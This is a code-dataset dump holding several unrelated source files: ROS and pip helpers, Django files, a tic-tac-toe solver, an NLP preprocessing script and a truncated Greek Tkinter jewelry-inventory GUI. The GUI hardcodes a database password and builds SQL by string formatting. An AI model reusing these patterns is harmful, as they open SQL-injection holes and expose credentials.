blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 2 616 | content_id stringlengths 40 40 | detected_licenses listlengths 0 69 | license_type stringclasses 2 values | repo_name stringlengths 5 118 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringlengths 4 63 | visit_date timestamp[us] | revision_date timestamp[us] | committer_date timestamp[us] | github_id int64 2.91k 686M โ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 23 values | gha_event_created_at timestamp[us] | gha_created_at timestamp[us] | gha_language stringclasses 213 values | src_encoding stringclasses 30 values | language stringclasses 1 value | is_vendor bool 2 classes | is_generated bool 2 classes | length_bytes int64 2 10.3M | extension stringclasses 246 values | content stringlengths 2 10.3M | authors listlengths 1 1 | author_id stringlengths 0 212 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
ea505e07fe933b7e4b9517e6e1f31eadd0cba2fc | 2c7bb7ac6638840b539fa9bcb3c58fe941802ee1 | /catkin_ws/build/catkin_generated/generate_cached_setup.py | 2c4d74fb1b116a8cf44c0313dc7ecd7cb563dfd8 | [] | no_license | j20100/app1 | d88a3887f4baf246df66efe352ad7b01c6b506e9 | c802e47873378d8ee569cf5f4602f04ccdfe79b3 | refs/heads/master | 2016-08-10T20:17:05.431688 | 2016-02-05T22:46:26 | 2016-02-05T22:46:26 | 51,014,066 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,306 | py | # -*- coding: utf-8 -*-
from __future__ import print_function
import argparse
import os
import stat
import sys
# find the import for catkin's python package - either from source space or from an installed underlay
if os.path.exists(os.path.join('/opt/ros/indigo/share/catkin/cmake', 'catkinConfig.cmake.in')):
sys.path.insert(0, os.path.join('/opt/ros/indigo/share/catkin/cmake', '..', 'python'))
try:
from catkin.environment_cache import generate_environment_script
except ImportError:
# search for catkin package in all workspaces and prepend to path
for workspace in "/home/jonathan/catkin_ws/devel;/opt/ros/indigo".split(';'):
python_path = os.path.join(workspace, 'lib/python2.7/dist-packages')
if os.path.isdir(os.path.join(python_path, 'catkin')):
sys.path.insert(0, python_path)
break
from catkin.environment_cache import generate_environment_script
code = generate_environment_script('/home/jonathan/catkin_ws/devel/env.sh')
output_filename = '/home/jonathan/catkin_ws/build/catkin_generated/setup_cached.sh'
with open(output_filename, 'w') as f:
#print('Generate script for cached setup "%s"' % output_filename)
f.write('\n'.join(code))
mode = os.stat(output_filename).st_mode
os.chmod(output_filename, mode | stat.S_IXUSR)
| [
"jonathan.vncent2@usherbrooke.ca"
] | jonathan.vncent2@usherbrooke.ca |
e225d52e5d34142b711bc545f8255d8542303038 | cfd62db3c1498d8a46d19014016adcf8dfac25f5 | /env/bin/pip3 | a2ee3043e38571739f9421374937abc8ed74956c | [] | no_license | jordan-hess/flask-exercise3 | deb694bc1fc39c5d906db625cf2469a78b7ff8b3 | a741d0efb18db38222db801ef21ce5f130ace290 | refs/heads/master | 2023-06-19T07:43:18.521559 | 2021-07-16T14:49:08 | 2021-07-16T14:49:08 | 386,670,490 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 263 | #!/home/lifechoices/Desktop/flask_excercise3/env/bin/python3
# -*- coding: utf-8 -*-
import re
import sys
from pip._internal.cli.main import main
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
sys.exit(main())
| [
"jchno116012003@gmail.com"
] | jchno116012003@gmail.com | |
31e0f53d0c967b59235412dc0cc1db74b307226c | e6dab5aa1754ff13755a1f74a28a201681ab7e1c | /.parts/lib/python2.7/test/test_ctypes.py | ebf87b86f5fb4845c8c3862cf2936c6438d4809e | [] | no_license | ronkagan/Euler_1 | 67679203a9510147320f7c6513eefd391630703e | 022633cc298475c4f3fd0c6e2bde4f4728713995 | refs/heads/master | 2021-01-06T20:45:52.901025 | 2014-09-06T22:34:16 | 2014-09-06T22:34:16 | 23,744,842 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 76 | py | /home/action/.parts/packages/python2/2.7.6/lib/python2.7/test/test_ctypes.py | [
"ron.y.kagan@gmail.com"
] | ron.y.kagan@gmail.com |
51ff6b235bb3807d078012ca215234c59a7d6474 | 0eaf572300e7a6da5395b46c276e38adcb948849 | /shop/urls.py | 7fb29fe9971019d9089f811dfd56a2efb2d2936f | [] | no_license | Wardar-py/magazine | 0ee250d107ec430cbea194058e3de624982d4480 | c4b550c5294444f527413d5958013a6d96bb89b6 | refs/heads/master | 2023-03-12T02:22:38.937537 | 2021-02-25T19:43:59 | 2021-02-25T19:43:59 | 342,359,413 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 395 | py | from django.contrib import admin
from django.urls import path, include
from .import views
from django.conf.urls.static import static
from django.conf import settings
app_name = 'shop'
urlpatterns = [
path('admin/', admin.site.urls),
path('', views.product_list, name='product_list')
]
if settings.DEBUG:
urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT) | [
"te123ma@outlook.com"
] | te123ma@outlook.com |
cc0774260db529bbc042ac67153a0c42d167c3b9 | 15f321878face2af9317363c5f6de1e5ddd9b749 | /solutions_python/Problem_116/741.py | 44eed438d83cb970ebb890a621178c453eb50eee | [] | no_license | dr-dos-ok/Code_Jam_Webscraper | c06fd59870842664cd79c41eb460a09553e1c80a | 26a35bf114a3aa30fc4c677ef069d95f41665cc0 | refs/heads/master | 2020-04-06T08:17:40.938460 | 2018-10-14T10:12:47 | 2018-10-14T10:12:47 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,323 | py | import sys
def judge(line):
d={}
for i in 'XO.T':
d[i]=0
for i in line:
d[i] += 1
if d['O'] ==4 or d['O'] + d['T'] == 4:
return 'O'
if d['X'] ==4 or d['X'] + d['T'] == 4:
return 'X'
return None
def solve(game):
status = None
complete = 1
# test raw and column
test_cases = []
for i in range(4):
col = ''
for j in range(4):
col += game[j][i]
test_cases.append(game[i])
test_cases.append(col)
di = ''
di_1 =''
for i in range(4):
di += game[i][i]
di_1 += game[i][3-i]
test_cases.append(di)
test_cases.append(di_1)
for line in game:
if '.' in line:
complete =0
break
for i in test_cases:
status = judge(i)
if status == 'X':
return "X won"
if status == 'O':
return "O won"
if status == None and complete == 0:
return "Game has not completed"
if status == None and complete == 1:
return "Draw"
f = open(sys.argv[1])
N = int(f.readline())
for i in range(N):
game = []
for _ in range(4):
game.append( f.readline().strip() )
#print game
print "Case #%d: %s" %( i+1, solve(game) )
f.readline()
| [
"miliar1732@gmail.com"
] | miliar1732@gmail.com |
e898d3e1b85a2648ad454e0384984d79e320d109 | 5b227a9c51f6edb818941bca40c86f51b12597f9 | /documentos/migrations/0008_auto_20180520_2119.py | 5a6412db0a4cd8bde0dd89ff9bca5710927d4e77 | [] | no_license | LeandroRolim/lsi-django | c0cad007d6f41592656488a6f66c18f4f83f071e | e0283c7018b479815964a9fc4328b4b8a584da00 | refs/heads/master | 2020-03-16T23:51:36.346174 | 2018-07-09T11:10:17 | 2018-07-09T11:10:17 | 133,093,934 | 1 | 3 | null | 2018-07-09T11:10:18 | 2018-05-11T22:23:29 | HTML | UTF-8 | Python | false | false | 548 | py | # Generated by Django 2.0.5 on 2018-05-20 21:19
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('documentos', '0007_auto_20180514_2152'),
]
operations = [
migrations.AddField(
model_name='document',
name='adverb_verb',
field=models.IntegerField(default=0),
),
migrations.AddField(
model_name='document',
name='stopwords',
field=models.IntegerField(default=0),
),
]
| [
"rannany@gmail.com"
] | rannany@gmail.com |
624a613e35444aa6259e6de55f6210228b86f6b1 | 3e104ba5a1b17ca3449be9a46c91a48ca19b02c8 | /General_Programming/strings/strings.py | e37989d04038e7fff63837c50d6397cab2e7dae1 | [] | no_license | dallasmcgroarty/python | b135378629877dc1c96adda3b884b3e656be1225 | 9eb5486d6f36698a6d873ffdf8cf80d6ed1ef008 | refs/heads/master | 2021-07-12T20:07:18.642043 | 2020-10-15T21:08:35 | 2020-10-15T21:08:35 | 215,225,484 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 437 | py | #f-strings in python3
#places a value in a string
x = 10
print(f"I've told you {x} times already")
#join function
#can use logic in the join argument
#takes a list and joins them together in a string
names = ["hey","there","tom"]
names_str = ' '.join(names)
print(names_str)
#takes a list of numbers and converts them into a string using join
numbers = [1,2,3,4,5,]
number_str = ''.join(str(num) for num in numbers)
print(number_str) | [
"dallas.mcgroarty@gmail.com"
] | dallas.mcgroarty@gmail.com |
372093448c45b2b50ebc7e081540a66b63bed86d | 736ce334ad738ce6b31c62cab1c54003c611c878 | /src/pg_preprocess.py | 3f39c8170a12e773e8b8d347d3fffe0ae3e26dd4 | [
"MIT"
] | permissive | DeNederlandscheBank/nqm | bb163786163003fd1de8a176915924bb9f4bf080 | e3c234280fc46499885bfa4ce46b5e70ecb5e102 | refs/heads/main | 2023-09-04T16:05:49.444145 | 2021-11-03T10:52:11 | 2021-11-03T10:52:11 | 309,088,368 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,472 | py | #!/usr/bin/env python3
"""
This file contains code to preprocess input of a pointer-generator
translation model, where <unk-N> need to be placed.
Modified by Jan-Marc Glowienke and taken from:
https://github.com/pytorch/fairseq/blob/master/examples/pointer_generator/preprocess.py
Copyright (c) Facebook, Inc. and its affiliates.
This source code is licensed under the MIT license found in the
LICENSE file in the root directory of this source tree.
"""
import argparse
from itertools import zip_longest
from sacremoses import MosesTokenizer
def replace_oovs(source_in, target_in, vocabulary, source_out, target_out):
"""Replaces out-of-vocabulary words in source and target text with <unk-N>,
where N in is the position of the word in the source sequence.
"""
def format_unk(pos):
return "<unk-{}>".format(pos)
if target_in is None:
target_in = []
for seq_num, (source_seq, target_seq) in enumerate(
zip_longest(source_in, target_in)
):
source_seq_out = []
target_seq_out = []
word_to_pos = dict()
for position, token in enumerate(source_seq.strip().split()):
if token in vocabulary:
token_out = token
else:
if token in word_to_pos:
oov_pos = word_to_pos[token]
else:
word_to_pos[token] = position
oov_pos = position
token_out = format_unk(oov_pos)
source_seq_out.append(token_out)
source_out.write(" ".join(source_seq_out) + "\n")
if target_seq is not None:
for token in target_seq.strip().split():
if token in word_to_pos:
token_out = format_unk(word_to_pos[token])
else:
token_out = token
target_seq_out.append(token_out)
if target_out is not None:
target_out.write(" ".join(target_seq_out) + "\n")
def replace_oov_input(source, vocabulary, tokenizer):
""" Marc Glowienke
replace OOV words by <unk-N> inplace in input sequence
can be used for interactive translation
"""
def format_unk(pos):
return "<unk-{}>".format(pos)
source_tokens = tokenizer.tokenize(source.strip())
source_tokens_out = []
word_to_pos = dict()
for position, token in enumerate(source_tokens):
if token in vocabulary:
token_out = token
else:
if token in word_to_pos:
oov_pos = word_to_pos[token]
else:
word_to_pos[token] = position
oov_pos = position
token_out = format_unk(oov_pos)
source_tokens_out.append(token_out)
return ' '.join(source_tokens_out)
def remove_counts_vocabulary(vocab):
""" Marc Glowienke, return vocabulary without counts """
vocabulary = []
for item in vocab:
if len(item.split(" ")) > 1:
# only split if dict contains words and counts
item = item.split(" ")[0].strip(" ")
vocabulary.append(item)
return vocabulary
def main():
parser = argparse.ArgumentParser(
description="Replaces out-of-vocabulary words in both source and target "
"sequences with tokens that indicate the position of the word "
"in the source sequence."
)
parser.add_argument(
"--source", type=str, help="text file with source sequences",
required=True
)
parser.add_argument(
"--target", type=str, help="text file with target sequences",
default=None
)
parser.add_argument("--vocab", type=str, help="vocabulary file",
required=True)
parser.add_argument("--source-out", type=str,
help="where to write source sequences with <unk-N> entries",
required=True,
)
parser.add_argument(
"--target-out",
type=str,
help="where to write target sequences with <unk-N> entries",
default=None,
)
args = parser.parse_args()
with open(args.vocab, encoding="utf-8") as vocab:
vocabulary_with_numbers = vocab.read().splitlines()
vocabulary = remove_counts_vocabulary(vocabulary_with_numbers)
target_in = (
open(args.target, "r",
encoding="utf-8") if args.target is not None else None
)
target_out = (
open(args.target_out, "w", encoding="utf-8")
if args.target_out is not None
else None
)
with open(args.source, "r", encoding="utf-8") as source_in, open(
args.source_out, "w", encoding="utf-8"
) as source_out:
replace_oovs(source_in, target_in, vocabulary, source_out, target_out)
if target_in is not None:
target_in.close()
if target_out is not None:
target_out.close()
def main_replace_oov_inplace():
vocab_file = 'data/eiopa/5_model_input/fairseq-data-bin-15285/dict.nl.txt'
with open(vocab_file, encoding="utf-8") as vocab:
vocabulary_with_numbers = vocab.read().splitlines()
vocabulary = remove_counts_vocabulary(vocabulary_with_numbers)
moses_tokenizer = MosesTokenizer(lang='en')
print(replace_oov_input("register name of achmea zorg?", vocabulary,
moses_tokenizer))
if __name__ == "__main__":
main()
# main_replace_oov_inplace()
| [
"jmglowienke@gmail.com"
] | jmglowienke@gmail.com |
d09fa934791c659462fc32d5e5d6c3216075513a | 5c18fa8dde961f72a608811d7233d8b397c36b68 | /code/jewelery_gui2.0.py | 48792286eca8d5af492a69e02d89d89148a2843d | [] | no_license | ktsakos/Digital-Warehouse-of-a-Greek-jewelry-store | 4b4bd47ebe9c641886aba856c268cc9f10761232 | de488c9db528875c3dceb24c4d3d27e8b957f0fe | refs/heads/master | 2023-03-29T12:22:40.211440 | 2021-04-01T08:44:49 | 2021-04-01T08:44:49 | 353,629,429 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 62,329 | py | """
DEVELOPER:TSAKOS KONSTANTINOS
PHONE NUMBER:6948908497
LOCATION:SAMOS,GREECE
"""
from tkinter import *
import psycopg2
import ttk
import datetime
window=Tk()
w = window.winfo_screenwidth()
h = window.winfo_screenheight()
window.geometry("%dx%d+0+0" % (w, h))
#window.iconbitmap(r'/code/image.ico')
sorting=0
def validate(date_text):
try:
datetime.datetime.strptime(date_text, '%d-%m-%Y')
except ValueError:
return False
def Sorting_By_Column(tree,query,column):
global sorting
if (sorting % 2==0):
type="DESC"
else:
type="ASC"
for i in tree.get_children():
tree.delete(i)
lst=run_query("SELECT * FROM (%s) AS foo ORDER BY \"%s\" %s" % (query,column,type))
for i in lst:
tree.insert("",END,values=i)
sorting=sorting+1
def Converter_double_Precision(number):
position=-1
for i in range(len(number)):
if (number[i]=="," or number[i]=="."):
position=i
break;
if (number==""):
return ""
elif (position==-1):#2 double precision for integer argument
return number+".00"
else:#for float argument
result=""
for i in range(position):#insert the chars before , or .
result=result+number[i]
result=result+"." #insert . no matter if it was . or , initially
if(position==(len(number)-2)):#If we have only one decimal after , or .
result=result+number[position+1]+"0" #Just concatenate the char after , or . and one 0
else:#If we have 2 or more digits keep only 2 for double precision
for i in range(position+1,position+3):
result=result+number[i]
return result
def run_query(query):
conn=psycopg2.connect("host='postgres-db' dbname='jewelery' user='postgres' password='kostas'")
cursor=conn.cursor()
query_result=cursor.execute(query)
#conn.commit()
lst=cursor.fetchall()
conn.close()
return lst
def clear():
list=window.grid_slaves()
for l in list:
l.destroy()
########################################################## AGGREGATED QUERIES TO DATABASE IMPLEMENTATION #######################################################
def click5_frame2():
clear()
lst=run_query("SELECT \"Quality\",SUM(\"Weight\") FROM \"Gold Product\" GROUP BY \"Quality\" ORDER BY \"Quality\" DESC")
window.title("ฮจฮทฯฮนฮฑฮบฮฎ ฮฯฮฟฮธฮฎฮบฮท ฮฮฟฯฮผฮทฮผฮฑฯฮฟฯฯฮปฮตฮฏฮฟฯ
-ฮ ฯฮฟฮฒฮฟฮปฮฎ ฮฃฯ
ฮฝฮฟฮปฮนฮบฮฟฯ ฮฮฌฯฮฟฯ
ฯ ฮงฯฯ
ฯฮฟฯ ฮฑฮฝฮฌ ฮ ฮฟฮนฯฯฮทฯฮฑ")
tree=ttk.Treeview(window,height=25,show=["headings"])
tree["columns"]=("ฮ ฮฟฮนฯฯฮทฯฮฑ","ฮฃฯ
ฮฝฮฟฮปฮนฮบฯ ฮฮฌฯฮฟฯ")
tree.column("ฮ ฮฟฮนฯฯฮทฯฮฑ",width=200)
tree.column("ฮฃฯ
ฮฝฮฟฮปฮนฮบฯ ฮฮฌฯฮฟฯ",width=200)
tree.heading("ฮ ฮฟฮนฯฯฮทฯฮฑ", text="ฮ ฮฟฮนฯฯฮทฯฮฑ")
tree.heading("ฮฃฯ
ฮฝฮฟฮปฮนฮบฯ ฮฮฌฯฮฟฯ", text="ฮฃฯ
ฮฝฮฟฮปฮนฮบฯ ฮฮฌฯฮฟฯ(ฮณฯ)")
for i in lst:
tree.insert("",END,values=i)
tree.grid(row=0,column=0,padx=(10,10),pady=(10,10))
Button(window, text="OK",width=100,command=frame1).grid(row=1,column=0,padx=(10,10),pady=(10,10))
Label(window,text="Created by Tsakos Kostas").grid(row=2,column=0)
def click6_frame2():
clear()
window.title("ฮจฮทฯฮนฮฑฮบฮฎ ฮฯฮฟฮธฮฎฮบฮท ฮฮฟฯฮผฮทฮผฮฑฯฮฟฯฯฮปฮตฮฏฮฟฯ
-ฮฃฯ
ฮฝฮฟฮปฮนฮบฮฎ ฮฮพฮฏฮฑ ฯฮต ฮฯฮฎฮผฮน ฮบฮฑฮน ฮฮตฮฝฮนฮบฮฟฯ ฮคฯฯฮฟฯ
ฮตฮผฯฮฟฯฮตฯฮผฮฑฯฮฑ")
result=run_query("SELECT SUM(\"Price\") FROM \"Silver Product\"")
Label(window,text="ฮ ฯฯ
ฮฝฮฟฮปฮนฮบฮฎ ฮฑฮพฮฏฮฑ ฮตฮผฯฮฟฯฮตฯ
ฮผฮฌฯฯฮฝ ฮตฮบฯฯฯ ฯฯฯ
ฯฮฟฯ ฯฮฟฯ
ฯ
ฯฮฌฯฯฮตฮน ฮฑฯ
ฯฮฎ ฯฮท ฯฯฮนฮณฮผฮฎ ฯฯฮทฮฝ ฮฑฯฮฟฮธฮฎฮบฮท ฮตฮฏฮฝฮฑฮน: %s ฮตฯ
ฯฯ" % (result[0]),fg="red",bg="white").grid(row=0,column=0,padx=(10,10),pady=(10,10))
Button(window, text="OK",width=100,command=frame1).grid(row=1,column=0,padx=(10,10),pady=(10,10))
Label(window,text="Created by Tsakos Kostas").grid(row=2,column=0)
def click7_frame2():
clear()
lst=run_query("SELECT \"Company\",\"Quality\",SUM(\"Weight\") FROM \"Gold Product\" GROUP BY \"Company\",\"Quality\" ORDER BY \"Company\",\"Quality\" DESC")
window.title("ฮจฮทฯฮนฮฑฮบฮฎ ฮฯฮฟฮธฮฎฮบฮท ฮฮฟฯฮผฮทฮผฮฑฯฮฟฯฯฮปฮตฮฏฮฟฯ
-ฮ ฯฮฟฮฒฮฟฮปฮฎ ฮฃฯ
ฮฝฮฟฮปฮนฮบฮฟฯ ฮฮฌฯฮฟฯ
ฯ ฮงฯฯ
ฯฮฟฯ ฮฑฮฝฮฌ ฮ ฯฮฟฮผฮทฮธฮตฯ
ฯฮฎ")
tree=ttk.Treeview(window,height=25,show=["headings"])
tree["columns"]=("ฮ ฯฮฟฮผฮทฮธฮตฯ
ฯฮฎฯ","ฮ ฮฟฮนฯฯฮทฯฮฑ","ฮฃฯ
ฮฝฮฟฮปฮนฮบฯ ฮฮฌฯฮฟฯ")
tree.column("ฮ ฯฮฟฮผฮทฮธฮตฯ
ฯฮฎฯ",width=200)
tree.column("ฮ ฮฟฮนฯฯฮทฯฮฑ",width=200)
tree.column("ฮฃฯ
ฮฝฮฟฮปฮนฮบฯ ฮฮฌฯฮฟฯ",width=200)
tree.heading("ฮ ฯฮฟฮผฮทฮธฮตฯ
ฯฮฎฯ", text="ฮ ฯฮฟฮผฮทฮธฮตฯ
ฯฮฎฯ")
tree.heading("ฮ ฮฟฮนฯฯฮทฯฮฑ", text="ฮ ฮฟฮนฯฯฮทฯฮฑ")
tree.heading("ฮฃฯ
ฮฝฮฟฮปฮนฮบฯ ฮฮฌฯฮฟฯ", text="ฮฃฯ
ฮฝฮฟฮปฮนฮบฯ ฮฮฌฯฮฟฯ(ฮณฯ)")
for i in lst:
tree.insert("",END,values=i)
tree.grid(row=0,column=0,padx=(10,10),pady=(10,10))
Button(window, text="OK",width=100,command=frame1).grid(row=1,column=0,padx=(10,10),pady=(10,10))
Label(window,text="Created by Tsakos Kostas").grid(row=2,column=0)
def click8_frame2():
clear()
lst=run_query("SELECT \"Company\",SUM(\"Price\") FROM \"Silver Product\" GROUP BY \"Company\" ORDER BY \"Company\" DESC")
window.title("ฮจฮทฯฮนฮฑฮบฮฎ ฮฯฮฟฮธฮฎฮบฮท ฮฮฟฯฮผฮทฮผฮฑฯฮฟฯฯฮปฮตฮฏฮฟฯ
-ฮ ฯฮฟฮฒฮฟฮปฮฎ ฮฃฯ
ฮฝฮฟฮปฮนฮบฮฎฯ ฮฮพฮฏฮฑฯ ฯฮต ฮฯฮฎฮผฮน ฮบฮฑฮน ฮฮตฮฝฮนฮบฮฟฯ ฮคฯฯฮฟฯ
ฮตฮผฯฮฟฯฮตฯฮผฮฑฯฮฑ ฮฑฮฝฮฌ ฯฯฮฟฮผฮทฮธฮตฯ
ฯฮฎ")
tree=ttk.Treeview(window,height=25,show=["headings"])
tree["columns"]=("ฮ ฯฮฟฮผฮทฮธฮตฯ
ฯฮฎฯ","ฮฃฯ
ฮฝฮฟฮปฮนฮบฮฎ ฮฮพฮฏฮฑ")
tree.column("ฮ ฯฮฟฮผฮทฮธฮตฯ
ฯฮฎฯ",width=200)
tree.column("ฮฃฯ
ฮฝฮฟฮปฮนฮบฮฎ ฮฮพฮฏฮฑ",width=200)
tree.heading("ฮ ฯฮฟฮผฮทฮธฮตฯ
ฯฮฎฯ", text="ฮ ฯฮฟฮผฮทฮธฮตฯ
ฯฮฎฯ")
tree.heading("ฮฃฯ
ฮฝฮฟฮปฮนฮบฮฎ ฮฮพฮฏฮฑ", text="ฮฃฯ
ฮฝฮฟฮปฮนฮบฮฎ ฮฮพฮฏฮฑ(ฮตฯ
ฯฯ)")
for i in lst:
tree.insert("",END,values=i)
tree.grid(row=0,column=0,padx=(10,10),pady=(10,10))
Button(window, text="OK",width=100,command=frame1).grid(row=1,column=0,padx=(10,10),pady=(10,10))
Label(window,text="Created by Tsakos Kostas").grid(row=2,column=0)
def click9_frame2():
clear()
lst=run_query("SELECT \"Categorie\",SUM(\"Price\") FROM \"Silver Product\" GROUP BY \"Categorie\" ORDER BY \"Categorie\" DESC")
window.title("ฮจฮทฯฮนฮฑฮบฮฎ ฮฯฮฟฮธฮฎฮบฮท ฮฮฟฯฮผฮทฮผฮฑฯฮฟฯฯฮปฮตฮฏฮฟฯ
-ฮ ฯฮฟฮฒฮฟฮปฮฎ ฮฃฯ
ฮฝฮฟฮปฮนฮบฮฎฯ ฮฮพฮฏฮฑฯ ฯฮต ฮฯฮฎฮผฮน ฮบฮฑฮน ฮฮตฮฝฮนฮบฮฟฯ ฮคฯฯฮฟฯ
ฮตฮผฯฮฟฯฮตฯฮผฮฑฯฮฑ ฮฑฮฝฮฌ ฮบฮฑฯฮทฮณฮฟฯฮฏฮฑฮ")
tree=ttk.Treeview(window,height=25,show=["headings"])
tree["columns"]=("ฮฮฑฯฮทฮณฮฟฯฮฏฮฑ","ฮฃฯ
ฮฝฮฟฮปฮนฮบฮฎ ฮฮพฮฏฮฑ")
tree.column("ฮฮฑฯฮทฮณฮฟฯฮฏฮฑ",width=200)
tree.column("ฮฃฯ
ฮฝฮฟฮปฮนฮบฮฎ ฮฮพฮฏฮฑ",width=200)
tree.heading("ฮฮฑฯฮทฮณฮฟฯฮฏฮฑ", text="ฮฮฑฯฮทฮณฮฟฯฮฏฮฑ")
tree.heading("ฮฃฯ
ฮฝฮฟฮปฮนฮบฮฎ ฮฮพฮฏฮฑ", text="ฮฃฯ
ฮฝฮฟฮปฮนฮบฮฎ ฮฮพฮฏฮฑ(ฮตฯ
ฯฯ)")
for i in lst:
tree.insert("",END,values=i)
tree.grid(row=0,column=0,padx=(10,10),pady=(10,10))
Button(window, text="OK",width=100,command=frame1).grid(row=1,column=0,padx=(10,10),pady=(10,10))
Label(window,text="Created by Tsakos Kostas").grid(row=2,column=0)
def click10_frame2():
clear()
lst=run_query("SELECT \"Categorie\",COUNT(*) FROM \"Gold Product\" GROUP BY \"Categorie\" ORDER BY \"Categorie\" ASC")
window.title("ฮจฮทฯฮนฮฑฮบฮฎ ฮฯฮฟฮธฮฎฮบฮท ฮฮฟฯฮผฮทฮผฮฑฯฮฟฯฯฮปฮตฮฏฮฟฯ
-ฮ ฯฮฟฮฒฮฟฮปฮฎ ฮฃฯ
ฮฝฯฮปฮฟฯ
ฯฮตฮผฮฑฯฮฏฯฮฝ ฮฑฮฝฮฌ ฮบฮฑฯฮทฮณฮฟฯฮฏฮฑ ฮงฯฯ
ฯฮฟฯ")
tree=ttk.Treeview(window,height=25,show=["headings"])
tree["columns"]=("ฮฮฑฯฮทฮณฮฟฯฮฏฮฑ","ฮคฮตฮผฮฌฯฮนฮฑ")
tree.column("ฮฮฑฯฮทฮณฮฟฯฮฏฮฑ",width=200)
tree.column("ฮคฮตฮผฮฌฯฮนฮฑ",width=200)
tree.heading("ฮฮฑฯฮทฮณฮฟฯฮฏฮฑ", text="ฮฮฑฯฮทฮณฮฟฯฮฏฮฑ")
tree.heading("ฮคฮตฮผฮฌฯฮนฮฑ", text="ฮคฮตฮผฮฌฯฮนฮฑ")
for i in lst:
tree.insert("",END,values=i)
tree.grid(row=0,column=0,padx=(10,10),pady=(10,10))
Button(window, text="OK",width=100,command=frame1).grid(row=1,column=0,padx=(10,10),pady=(10,10))
Label(window,text="Created by Tsakos Kostas").grid(row=2,column=0)
def click11_frame2():
clear()
lst=run_query("SELECT \"Categorie\",COUNT(*) FROM \"Silver Product\" GROUP BY \"Categorie\" ORDER BY \"Categorie\" ASC")
window.title("ฮจฮทฯฮนฮฑฮบฮฎ ฮฯฮฟฮธฮฎฮบฮท ฮฮฟฯฮผฮทฮผฮฑฯฮฟฯฯฮปฮตฮฏฮฟฯ
-ฮ ฯฮฟฮฒฮฟฮปฮฎ ฮฃฯ
ฮฝฯฮปฮฟฯ
ฯฮตฮผฮฑฯฮฏฯฮฝ ฮฑฮฝฮฌ ฮบฮฑฯฮทฮณฮฟฯฮฏฮฑ ฯฮต ฮฑฯฮฎฮผฮน ฮฎ ฮฮตฮฝฮนฮบฮฟฯ ฮคฯฯฮฟฯ
")
tree=ttk.Treeview(window,height=25,show=["headings"])
tree["columns"]=("ฮฮฑฯฮทฮณฮฟฯฮฏฮฑ","ฮคฮตฮผฮฌฯฮนฮฑ")
tree.column("ฮฮฑฯฮทฮณฮฟฯฮฏฮฑ",width=200)
tree.column("ฮคฮตฮผฮฌฯฮนฮฑ",width=200)
tree.heading("ฮฮฑฯฮทฮณฮฟฯฮฏฮฑ", text="ฮฮฑฯฮทฮณฮฟฯฮฏฮฑ")
tree.heading("ฮคฮตฮผฮฌฯฮนฮฑ", text="ฮคฮตฮผฮฌฯฮนฮฑ")
for i in lst:
tree.insert("",END,values=i)
tree.grid(row=0,column=0,padx=(10,10),pady=(10,10))
Button(window, text="OK",width=100,command=frame1).grid(row=1,column=0,padx=(10,10),pady=(10,10))
Label(window,text="Created by Tsakos Kostas").grid(row=2,column=0)
def click12_frame2():
clear()
lst=run_query("SELECT \"Categorie\",\"Company\",\"Quality\",COUNT(*) FROM \"Gold Product\" GROUP BY \"Categorie\",\"Company\",\"Quality\" ORDER BY \"Categorie\",\"Company\",\"Quality\" ASC")
window.title("ฮจฮทฯฮนฮฑฮบฮฎ ฮฯฮฟฮธฮฎฮบฮท ฮฮฟฯฮผฮทฮผฮฑฯฮฟฯฯฮปฮตฮฏฮฟฯ
-ฮ ฯฮฟฮฒฮฟฮปฮฎ ฮฃฯ
ฮฝฯฮปฮฟฯ
ฯฮตฮผฮฑฯฮฏฯฮฝ ฮฑฮฝฮฌ ฮบฮฑฯฮทฮณฮฟฯฮฏฮฑ ฮงฯฯ
ฯฮฟฯ ฮฑฮฝฮฌ ฯฯฮฟฮผฮทฮธฮตฯ
ฯฮฎ ฮบฮฑฮน ฮฑฮฝฮฌ ฯฮฟฮนฯฯฮทฯฮฑ")
tree=ttk.Treeview(window,height=25,show=["headings"])
tree["columns"]=("ฮฮฑฯฮทฮณฮฟฯฮฏฮฑ","ฮ ฯฮฟฮผฮทฮธฮตฯ
ฯฮฎฯ","ฮ ฮฟฮนฯฯฮทฯฮฑ","ฮคฮตฮผฮฌฯฮนฮฑ")
tree.column("ฮฮฑฯฮทฮณฮฟฯฮฏฮฑ",width=200)
tree.column("ฮ ฯฮฟฮผฮทฮธฮตฯ
ฯฮฎฯ",width=200)
tree.column("ฮ ฮฟฮนฯฯฮทฯฮฑ",width=200)
tree.column("ฮคฮตฮผฮฌฯฮนฮฑ",width=200)
tree.heading("ฮฮฑฯฮทฮณฮฟฯฮฏฮฑ", text="ฮฮฑฯฮทฮณฮฟฯฮฏฮฑ")
tree.heading("ฮ ฯฮฟฮผฮทฮธฮตฯ
ฯฮฎฯ", text="ฮ ฯฮฟฮผฮทฮธฮตฯ
ฯฮฎฯ")
tree.heading("ฮ ฮฟฮนฯฯฮทฯฮฑ", text="ฮ ฮฟฮนฯฯฮทฯฮฑ")
tree.heading("ฮคฮตฮผฮฌฯฮนฮฑ", text="ฮคฮตฮผฮฌฯฮนฮฑ")
for i in lst:
tree.insert("",END,values=i)
tree.grid(row=0,column=0,padx=(10,10),pady=(10,10))
Button(window, text="OK",width=100,command=frame1).grid(row=1,column=0,padx=(10,10),pady=(10,10))
Label(window,text="Created by Tsakos Kostas").grid(row=2,column=0)
def click13_frame2():
clear()
lst=run_query("SELECT \"Categorie\",\"Company\",COUNT(*) FROM \"Gold Product\" GROUP BY \"Categorie\",\"Company\" ORDER BY \"Categorie\",\"Company\" ASC")
